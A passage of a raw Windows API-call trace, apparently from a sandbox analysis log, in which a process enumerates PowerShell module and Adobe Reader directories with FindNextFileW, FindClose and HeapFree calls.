lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0264.010] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreakAndContinue.Tests.ps1", cAlternateFileName="")) returned 1 [0264.011] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0264.011] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0264.014] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0264.014] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53e92f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a64f261, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0 [0264.014] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0264.015] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0264.015] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 0 [0264.015] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0264.015] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0264.017] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0264.018] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0264.018] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet.psd1", cAlternateFileName="POWERS~1.PSD")) returned 1 [0264.019] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0264.019] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0264.019] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0264.019] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0264.019] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1 [0264.312] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0264.312] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0264.313] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0264.313] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 1 [0264.313] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0264.313] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x34e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0264.313] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0264.313] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 0 [0264.313] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0264.314] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0264.314] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 0 [0264.314] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0264.314] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0264.316] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0 [0264.316] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0264.317] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0264.317] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0 [0264.317] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0264.317] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0264.317] FindNextFileW (in: hFindFile=0x64a258, lpFindFileData=0x3b2fcf8 | out: lpFindFileData=0x3b2fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0264.318] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0264.318] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader", cAlternateFileName="")) returned 1 [0264.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0264.321] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0 [0264.321] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0264.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0264.321] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d5caac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x465f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroBroker.exe", cAlternateFileName="ACROBR~1.EXE")) returned 1 [0264.322] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0264.322] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaaadbf3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="natives_blob.bin", cAlternateFileName="NATIVE~1.BIN")) returned 1 [0264.322] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0264.322] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1abe0524, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x134b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrofx32.dll", cAlternateFileName="")) returned 1 [0264.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0264.323] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37a46528, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x152a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="arh.exe", cAlternateFileName="")) returned 1 [0264.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0264.324] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WCChromeExtn", cAlternateFileName="WCCHRO~1")) returned 0 [0264.324] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0264.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0264.324] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec3e62f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x35200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_asym.dll", cAlternateFileName="CCME_A~1.DLL")) returned 1 [0264.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0264.325] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0 [0264.325] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0264.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0264.325] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Javascripts", cAlternateFileName="JAVASC~1")) returned 1 [0264.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0264.325] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf981782, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbc1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JP2KLib.dll", cAlternateFileName="")) returned 1 [0264.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0264.326] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0 [0264.326] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0264.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0264.326] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locale", cAlternateFileName="")) returned 1 [0264.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0264.326] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en_US", cAlternateFileName="")) returned 0 [0264.326] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0264.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0264.326] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1fa1b97a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x62050, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1 [0264.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0264.328] FindNextFileW (in: hFindFile=0x6eb6b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 0 [0264.328] FindClose (in: hFindFile=0x6eb6b0 | out: hFindFile=0x6eb6b0) returned 1 [0264.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0264.328] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe024c29f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xcb0e63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AcroForm.api", cAlternateFileName="")) returned 1 [0264.329] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0264.329] FindNextFileW (in: hFindFile=0x6ebb30, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Words.pdf", cAlternateFileName="")) returned 1 [0264.329] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0264.329] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0 [0264.329] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0264.329] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0264.329] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfdd3bd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71bc63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Annots.api", cAlternateFileName="")) returned 1 [0264.330] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0264.330] FindNextFileW (in: hFindFile=0x6eb6b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 0 [0264.330] FindClose (in: 